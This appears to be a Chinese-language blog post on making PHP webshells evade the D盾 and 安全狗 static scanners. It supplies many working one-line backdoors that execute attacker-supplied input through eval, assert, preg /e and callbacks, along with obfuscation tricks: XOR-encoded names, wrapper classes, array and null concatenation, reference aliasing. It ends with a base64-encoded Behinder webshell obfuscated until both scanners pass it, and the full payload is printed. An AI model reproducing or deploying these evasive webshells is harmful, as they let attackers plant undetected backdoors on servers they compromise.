以D盾、安全狗为代表的Web服务器防护软件可以对Web脚本进行静态查杀

对于常见的一句话木马和大马,这些防护软件都可以第一时间给出标记

本文以D盾和安全狗为例,研究在PHP语言环境下绕过WebShell检测的一些基本方法

基本方法

实现任意命令执行的几种方法

三个能实现任意代码执行的途径:

  1. Eval法,eval()是PHP语言中的一种结构,允许我们执行任意的PHP代码。但eval在任意PHP版本中其实都不是一个函数,因而没有办法使用变量函数、回调函数等手段使用
  2. Assert法,assert在PHP7.1版本前都是一个函数,因此可以很方便的使用变量函数、回调函数等手段来使用,但是在PHP7.1版本后也变为了一个结构,这也导致后续版本几乎无法使用变量函数和回调函数的手段来实现任意代码执行,只能更多的依靠大马和对eval的结构性隐藏
  3. Preg法,当正则匹配存在/e参数时,引擎会将”结果字符串”作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。但该用法在PHP7中被抛弃

能实现任意函数执行的途径:

  1. 变量函数法
  2. 回调函数法
  3. 使用create_functioncall_user_func
  4. 反射函数法

变量函数与关键字绕过

如果在绕过检测时,需要使用一些敏感函数,如base64_decodearray_map等,我们可以利用PHP中的变量函数特性

变量函数即允许我们在调用一个函数时使用一个与函数名称相同的字符串变量代替直接使用函数名,例如下面的代码会调用phpinfo:

<?php
$a="phpinfo";
$a();
?>

当然,如果仅仅是这样简单的处理,仍然会被检测软件识别,因此我们需要对这里的字符串$a进行各种形式的变形,利用php中强大的字符串处理函数,我们可以很容易的做到这一点。

  1. 使用异或

    php中支持对字符串直接使用异或运算符,这也是进行字符串加密的最简单好用的手段

    例如:

    <?php
    $a="AYD\_R^"^"1145141";
    $a();
    ?>
  2. 字符串处理函数

    PHP中有很多字符串处理函数,可以用来对字符串进行变形,例如下面的substr_replace()

    <?php
    $a = substr_replace("assexx","rt",4);
    $a($_POST['x']);
    ?>

    当然还有很多类似的函数,这里就不一一例举出来了,详细可以参见:https://www.sqlsec.com/2020/07/shell.html

  3. 编解码函数

    如URL编解码函数、base64编解码函数、ASCII转换函数等都可以被用于关键字绕过,例如这里使用的ASCII码转换函数

    $c =  chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);

    由于变量函数溯源起来比较困难,D盾当在遇到变量函数时,会将其直接视为可疑文件:

image-20210203203948311

但是D盾对类的查杀相对要薄弱很多,因此我们可以结合后面类的姿势来绕过D盾对变量函数的查杀

回调函数及其变形

PHP中含有大量回调类型的函数,利用这些类型的函数我们可以调用assert来实现任意代码执行,或者调用解码函数对我们传入的Payload进行解码,避免在网络流量层面被拦截

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()

例如下面的代码调用了一个assert,实现了任意代码执行:

<?php
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['x']));
?>

但是上述的回调函数大部分都被查杀软件加入了全家桶套餐,必须要结合自定义函数和类才能正常使用

反射函数

目前反射函数的用法还比较小众,因此可以直接ByPass D盾的检测,例如下面是一个assert任意代码执行

<?php 
class test extends ReflectionFunction {}
$a=substr_replace("assxxx","ert",3);
$f = new test($a);
$f->invoke($_POST[x]);
?>

Preg系列函数的使用

Preg系列函数也可以被用于任意代码执行,目前D盾没有查杀

<?php
preg_replace(array("/.*/e"),$_REQUEST[x],"");
?>
<?php
preg_filter(array("/.*/e"),$_REQUEST[x],"");
?>
<?php
preg_replace_callback($at=array(''=>('/.+/i')),create_function('$a','return assert($a[0]);'),$_POST['x']);
?>

自定义函数和自定义类

直接调用一些敏感函数很容易被查杀软件发现,但如果我们套自定义的函数和类,则隐蔽性会增强很多,例如上面提到的回调函数:

<?php
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['x']));
?>

这里使用了一个自定义的函数test来包裹敏感函数array_map,这样的操作方法可以直接通过安全狗的检测,但却会被D盾判为“可疑文件”

image-20210203204808351

而D盾查杀的弱点则是PHP的类,例如将上面的代码转化为:

<?php
class coderunner {
var $runner;
var $payload;
var $ccc;
function __construct($a,$c) {
$this->runner=$a;
$this->payload=$c;
}
function gogogo() {
array_map($this->runner,$this->payload);
array_map($this->runner,$this->payload);
}
}
$namea="PBBTCE"^"111111";
$p1=new coderunner($namea,array($_GET['x']));
$p1->gogogo();
?>

D盾就认为该文件完全安全了,因此我们可以直接将我们要调用的敏感函数隐藏在类的方法或者魔术方法中,再在类中混合一些无关紧要的成员变量和代码,即可躲过D盾的查杀,包括上述的变量函数也可以用该方法躲过查杀

利用数组和运算符进行混淆

由于PHP7.1后assert也成为了结构,因此我们在代码中必须明文出现eval``assert才可能实现任意代码执行,这就要求我们采用一定的措施进行混淆,避免被查杀。查杀软件不会在遇到eval时就报危险,而是会跟踪eval的内容来源,如果和用户传入的参数有关,才会报告危险。因此我们需要采取一些措施干扰这种溯源。这些方法单独使用的时候可能无法实现效果很好的免杀,但是和上面讲到的自定义类、变量函数等手段混合使用就可以发挥比较好的效果。

  1. 使用数组或者多维数组混淆代码

    即将要运行的代码作为数组的元素插入数组中,干扰软件的分析,例如:

    //一维数组
    <?php
    $b = substr_replace("assexx","rt",4);
    $a = array($arrayName = array('a' => $b($_POST['q'])));
    ?>
    //二维数组
    <?php
    $a=substr_replace("assxxx","ert",3);
    array($at = array('' => $a($_POST['x'])));
    ?>
  2. 使用运算符或者拼接反引号、空字符串、null的形式干扰分析

    在PHP中,反引号包含的字符会被当作Shell命令执行,因此我们可以在给eval传入参数时,随意拼接反引号内容,干扰分析。同时拼接空字符串和null也是有一定效果的

    例如:

    //反引号
    $fuck=['a'=>'aa'.eval(`/**123**/`.$final->cc)];

    //null
    $fuck=['a'=>'aa'.eval(null.$final->cc)];

    //空字符串
    $fuck=['a'=>'aa'.eval(null.$final->cc)];

    同时使用运算符对数据处理也是有一定帮助的:

    <?php
    $a = $_POST['a'];
    $b = "\n";
    eval($b.=$a);
    ?>
  3. 可变变量名的应用

    例如:

    <?php
    $c="b";
    $b="phpinfo";
    array_map($$c,array());
    ?>
  4. 使用地址符

    PHP中允许使用变量的地址符,这会很大程度上干扰分析软件的溯源,例如下面的例子:

    <?php
    $b=&$a;
    $a = $_GET['a'];
    $c=&$b;
    eval($c);
    ?>

    使用该方法可以有效挫败变量的溯源

实例:免杀冰蝎马

冰蝎提供的PHP SHELL被大部分查杀软件都能准确识别,但是我们只需要使用上面的一些技巧对这个SHELL进行简单的编码,就能绕过他们的查杀

  1. 首先将冰蝎马去除<?php ?>,并进行Base64编码,得到下面的字符串

    QGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K+l5a+G6ZKl5Li66L+e5o6l5a+G56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je+8jOm7mOiupOi/nuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7
  2. 接下来我们要完成的任务就是使用base64_decode函数来解码上述内容,再eval就可以了

  3. 首先尝试base64_decode,如果直接调用这个函数,会被D盾报可疑,因此我们必须使用回调函数或者变量函数来调用这个函数

    使用异或加密法隐藏函数名如下:

    $decoder="SPGPn]TZWUU"^"1145141919810";;

    为了实现对变量函数的隐藏,我们构造一个类来实现解码,并调用这个类,同时使用引用混淆法混淆接收参数:

    class at{
    public $file;
    public $cc;
    function __construct($decoder,$c){
    $this->cc=$decoder($c);
    }
    }

    $b=&$a;
    $a = $buf;
    $c=&$b;
    $decoder="SPGPn]TZWUU"^"1145141919810";;
    $final=new at($decoder,$c);
  4. 最后使用数组和拼接null混淆法执行eval

    $fuck=['a'=>'aa'.eval(null.$final->cc)];
  5. D盾和安全狗均认为上述脚本安全:

    image-20210203212114565

    image-20210203212059326

  6. 使用冰蝎可以正常连接上述马:

    image-20210203212318097

  7. 不过由于D盾强大的防护能力,WebShell在动态行为上还是暴露无疑,无法进行任何进一步的操作

    image-20210203212519988

    image-20210203212508640

参考资料

[1] 对于php免杀webshell的一些总结

[2] PHP webshell 免杀姿势总结

[3] webshell免杀D盾

[4] WebShell免杀研究